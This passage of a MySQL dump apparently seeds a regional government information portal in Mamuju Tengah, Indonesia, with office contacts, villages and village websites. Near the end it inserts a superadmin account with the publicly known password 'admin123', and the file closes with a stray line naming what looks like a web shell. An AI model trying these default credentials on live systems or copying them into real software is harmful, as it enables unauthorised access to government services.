BAPPERIDA',5,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','bapperida@mamujutengahkab.go.id',NULL),(6,'bkpsdm','Badan Kepegawaian dan Pengembangan Sumber Daya Manusia','BKPSDM',NULL,'PPID Pembantu BKPSDM',6,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','bkpsdm@mamujutengahkab.go.id',NULL),(7,'bpbd','Badan Penanggulangan Bencana Daerah','BPBD',NULL,'PPID Pembantu BPBD',7,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','bpbd@mamujutengahkab.go.id',NULL),(8,'kesbangpol','Badan Kesatuan Bangsa dan Politik','KESBANGPOL',NULL,'PPID Pembantu KESBANGPOL',8,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','kesbangpol@mamujutengahkab.go.id',NULL),(9,'disdikbud','Dinas Pendidikan dan Kebudayaan','DISDIKBUD',NULL,'PPID Pembantu DISDIKBUD',9,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','disdikbud@mamujutengahkab.go.id',NULL),(10,'dinkes','Dinas Kesehatan','DINKES',NULL,'PPID Pembantu DINKES',10,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dinkes@mamujutengahkab.go.id',NULL),(11,'pupr','Dinas Pekerjaan Umum dan Penataan Ruang','PUPR',NULL,'PPID Pembantu PUPR',11,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','pupr@mamujutengahkab.go.id',NULL),(12,'disperkimtan','Dinas Perumahan Rakyat dan Permukiman serta Pertanahan','DISPERKIMTAN',NULL,'PPID Pembantu DISPERKIMTAN',12,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','disperkimtan@mamujutengahkab.go.id',NULL),(13,'satpol-pp','Satuan Polisi Pamong Praja dan Pemadam Kebakaran','SATPOL PP',NULL,'PPID Pembantu SATPOL PP',13,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','satpolpp@mamujutengahkab.go.id',NULL),(14,'dinsos','Dinas Sosial','DINSOS',NULL,'PPID Pembantu DINSOS',14,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dinsos@mamujutengahkab.go.id',NULL),(15,'dp3ap2kb','Dinas Pemberdayaan Perempuan dan Perlindungan Anak serta Pengendalian Penduduk dan Keluarga Berencana','DP3AP2KB',NULL,'PPID Pembantu DP3AP2KB',15,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dp3ap2kb@mamujutengahkab.go.id',NULL),(16,'dlh','Dinas Lingkungan Hidup','DLH',NULL,'PPID Pembantu DLH',16,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dlh@mamujutengahkab.go.id',NULL),(17,'dukcapil','Dinas Kependudukan dan Pencatatan Sipil','DUKCAPIL',NULL,'PPID Pembantu DUKCAPIL',17,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dukcapil@mamujutengahkab.go.id',NULL),(18,'dpmd','Dinas Pemberdayaan Masyarakat dan Desa','DPMD',NULL,'PPID Pembantu DPMD',18,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dpmd@mamujutengahkab.go.id',NULL),(19,'diskominfo','Dinas Komunikasi, Informatika, Statistik dan Persandian','DISKOMINFO',NULL,'PPID Pembantu DISKOMINFO',19,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','diskominfo@mamujutengahkab.go.id',NULL),(20,'dpmptsp','Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu','DPMPTSP',NULL,'PPID Pembantu DPMPTSP',20,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dpmptsp@mamujutengahkab.go.id',NULL),(21,'dispusip','Dinas Perpustakaan dan Kearsipan','DISPUSIP',NULL,'PPID Pembantu DISPUSIP',21,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dispusip@mamujutengahkab.go.id',NULL),(22,'diskan','Dinas Perikanan','DISKAN',NULL,'PPID Pembantu DISKAN',22,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','diskan@mamujutengahkab.go.id',NULL),(23,'disporapar','Dinas Kepemudaan, Olahraga dan Pariwisata','DISPORAPAR',NULL,'PPID Pembantu DISPORAPAR',23,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','disporapar@mamujutengahkab.go.id',NULL),(24,'dkpp','Dinas Ketahanan Pangan dan Pertanian','DKPP',NULL,'PPID Pembantu DKPP',24,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','dkpp@mamujutengahkab.go.id',NULL),(25,'diskoperindag','Dinas Koperasi Usaha Kecil dan Menengah, Perindustrian dan Perdagangan','DISKOPERINDAG',NULL,'PPID Pembantu DISKOPERINDAG',25,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','diskoperindag@mamujutengahkab.go.id',NULL),(26,'disnakertrans','Dinas Transmigrasi dan Tenaga Kerja','DISNAKERTRANS',NULL,'PPID Pembantu DISNAKERTRANS',26,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','disnakertrans@mamujutengahkab.go.id',NULL),(27,'kec-topoyo','Kecamatan Topoyo','KEC. TOPOYO',NULL,'PPID Pembantu KEC. TOPOYO',27,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','kectopoyo@mamujutengahkab.go.id',NULL),(28,'kec-tobadak','Kecamatan Tobadak','KEC. TOBADAK',NULL,'PPID Pembantu KEC. TOBADAK',28,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','kectobadak@mamujutengahkab.go.id',NULL),(29,'kec-karossa','Kecamatan Karossa','KEC. KAROSSA',NULL,'PPID Pembantu KEC. KAROSSA',29,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','keckarossa@mamujutengahkab.go.id',NULL),(30,'kec-pangale','Kecamatan Pangale','KEC. PANGALE',NULL,'PPID Pembantu KEC. PANGALE',30,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','kecpangale@mamujutengahkab.go.id',NULL),(31,'kec-budong-budong','Kecamatan Budong Budong','KEC. BUDONG-BUDONG',NULL,'PPID Pembantu KEC. BUDONG-BUDONG',31,'2026-06-29 03:13:46','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','kecbudongbudong@mamujutengahkab.go.id',NULL);
/*!40000 ALTER TABLE `upd` ENABLE KEYS */;
UNLOCK TABLES;

LOCK TABLES `desa` WRITE;
/*!40000 ALTER TABLE `desa` DISABLE KEYS */;
INSERT INTO `desa` (`id`, `kecamatan`, `nama`) VALUES (1,'Budong-Budong','Babana'),(2,'Budong-Budong','Barakkang'),(3,'Budong-Budong','Bojo'),(4,'Budong-Budong','Kire'),(5,'Budong-Budong','Lembah Hada'),(6,'Budong-Budong','Lumu'),(7,'Budong-Budong','Pasapa'),(8,'Budong-Budong','Pontanakayang'),(9,'Budong-Budong','Salogatta'),(10,'Budong-Budong','Salumanurung'),(11,'Budong-Budong','Tinali'),(12,'Karossa','Benggaulu'),(13,'Karossa','Kadaila'),(14,'Karossa','Kambunong'),(15,'Karossa','Karossa'),(16,'Karossa','Kayu Calla'),(17,'Karossa','Lara'),(18,'Karossa','Lembah Hopo'),(19,'Karossa','Salubiro'),(20,'Karossa','Sanjango'),(21,'Karossa','Suka Maju'),(22,'Karossa','Tasokko'),(23,'Pangale','Kombiling'),(24,'Pangale','Kuo'),(25,'Pangale','Lamba-lamba'),(26,'Pangale','Lemo-Lemo'),(27,'Pangale','Pangale'),(28,'Pangale','Polo Camba'),(29,'Pangale','Polo Lereng'),(30,'Pangale','Polo Pangale'),(31,'Pangale','Sartanamaju'),(32,'Tobadak','Bambadaru'),(33,'Tobadak','Batu Parigi'),(34,'Tobadak','Mahahe'),(35,'Tobadak','Palongaan'),(36,'Tobadak','Saloadak'),(37,'Tobadak','Sejati'),(38,'Tobadak','Sulobaja'),(39,'Tobadak','Tobadak'),(40,'Topoyo','Bambamanurung'),(41,'Topoyo','Budong-Budong'),(42,'Topoyo','Kabubu'),(43,'Topoyo','Pangalloang'),(44,'Topoyo','Paraili'),(45,'Topoyo','Salulekbo'),(46,'Topoyo','Salupangkang'),(47,'Topoyo','Salupangkang IV'),(48,'Topoyo','Sinabatta'),(49,'Topoyo','Tabolang'),(50,'Topoyo','Tangkou'),(51,'Topoyo','Tappilina'),(52,'Topoyo','Topoyo'),(53,'Topoyo','Tumbu'),(54,'Topoyo','Waeputeh');
/*!40000 ALTER TABLE `desa` ENABLE KEYS */;
UNLOCK TABLES;

LOCK TABLES `layanan_desa` WRITE;
/*!40000 ALTER TABLE `layanan_desa` DISABLE KEYS */;
INSERT INTO `layanan_desa` (`id`, `desa_id`, `kecamatan`, `nama_desa`, `website`, `keterangan`, `created_by`, `created_at`) VALUES (1,39,'Tobadak','Tobadak','https://tobadak.desa.id',NULL,NULL,'2026-07-01 06:28:41'),(3,15,'Karossa','Karossa','https://karossa.desa.id',NULL,NULL,'2026-07-01 06:28:41'),(6,1,'Budong-Budong','Babana','https://babana.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(7,2,'Budong-Budong','Barakkang','https://barakkang.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(8,3,'Budong-Budong','Bojo','https://bojo.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(9,4,'Budong-Budong','Kire','https://kire.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(10,5,'Budong-Budong','Lembah Hada','https://lembah-hada.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(11,6,'Budong-Budong','Lumu','https://lumu.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(12,7,'Budong-Budong','Pasapa','https://pasapa.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(13,8,'Budong-Budong','Pontanakayang','https://pontanakayang.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(14,9,'Budong-Budong','Salogatta','https://salogatta.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(15,10,'Budong-Budong','Salumanurung','https://salumanurung.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(16,11,'Budong-Budong','Tinali','https://tinali.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(17,12,'Karossa','Benggaulu','https://benggaulu.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(18,13,'Karossa','Kadaila','https://kadaila.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(19,14,'Karossa','Kambunong','https://kambunong.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(20,16,'Karossa','Kayu Calla','https://kayu-calla.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(21,17,'Karossa','Lara','https://lara.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(22,18,'Karossa','Lembah Hopo','https://lembah-hopo.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(23,19,'Karossa','Salubiro','https://salubiro.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(24,20,'Karossa','Sanjango','https://sanjango.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(25,21,'Karossa','Suka Maju','https://suka-maju.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(26,22,'Karossa','Tasokko','https://tasokko.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(27,23,'Pangale','Kombiling','https://kombiling.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(28,24,'Pangale','Kuo','https://kuo.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(29,25,'Pangale','Lamba-lamba','https://lamba-lamba.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(30,26,'Pangale','Lemo-Lemo','https://lemo-lemo.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(31,27,'Pangale','Pangale','https://pangale.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(32,28,'Pangale','Polo Camba','https://polo-camba.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(33,29,'Pangale','Polo Lereng','https://polo-lereng.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(34,30,'Pangale','Polo Pangale','https://polo-pangale.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(35,31,'Pangale','Sartanamaju','https://sartanamaju.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(36,32,'Tobadak','Bambadaru','https://bambadaru.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(37,33,'Tobadak','Batu Parigi','https://batu-parigi.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(38,34,'Tobadak','Mahahe','https://mahahe.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(39,35,'Tobadak','Palongaan','https://palongaan.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(40,36,'Tobadak','Saloadak','https://saloadak.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(41,37,'Tobadak','Sejati','https://sejati.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(42,38,'Tobadak','Sulobaja','https://sulobaja.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(43,40,'Topoyo','Bambamanurung','https://bambamanurung.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(44,41,'Topoyo','Budong-Budong','https://budong-budong.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(45,42,'Topoyo','Kabubu','https://kabubu.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(46,43,'Topoyo','Pangalloang','https://pangalloang.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(47,44,'Topoyo','Paraili','https://paraili.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(48,45,'Topoyo','Salulekbo','https://salulekbo.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(49,46,'Topoyo','Salupangkang','https://salupangkang.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(50,47,'Topoyo','Salupangkang IV','https://salupangkang-iv.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(51,48,'Topoyo','Sinabatta','https://sinabatta.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(52,49,'Topoyo','Tabolang','https://tabolang.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(53,50,'Topoyo','Tangkou','https://tangkou.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(54,51,'Topoyo','Tappilina','https://tappilina.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(55,53,'Topoyo','Tumbu','https://tumbu.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(56,54,'Topoyo','Waeputeh','https://waeputeh.desa.id',NULL,NULL,'2026-07-01 08:37:52'),(57,52,'Topoyo','Topoyo','https://topoyo.desa.id','desa topoyo',1,'2026-07-02 12:30:07');
/*!40000 ALTER TABLE `layanan_desa` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;


-- ---------------------------------------------------------------------
-- 3) AKUN ADMIN DEFAULT
-- ---------------------------------------------------------------------
--   Username : admin
--   Password : admin123
--
--   >>> WAJIB GANTI PASSWORD SETELAH LOGIN PERTAMA. <<<
--   Berkas ini ada di repository publik, jadi password di atas diketahui umum.
--   Ganti via panel admin (menu Manajemen User) segera setelah instalasi.
-- ---------------------------------------------------------------------

INSERT INTO `admin_users` (`nama`, `username`, `email`, `password`, `role`, `upd_id`) VALUES
('Administrator', 'admin', 'admin@ppidmateng.go.id', '$2y$10$5ttzN.JgD0W8OdGCm5TkjOOTDbSI3VEf90amhk4vf7cdI7cmwAerW', 'superadmin', NULL);


SET FOREIGN_KEY_CHECKS = 1;

-- Selesai.

Kontol Shell Bypass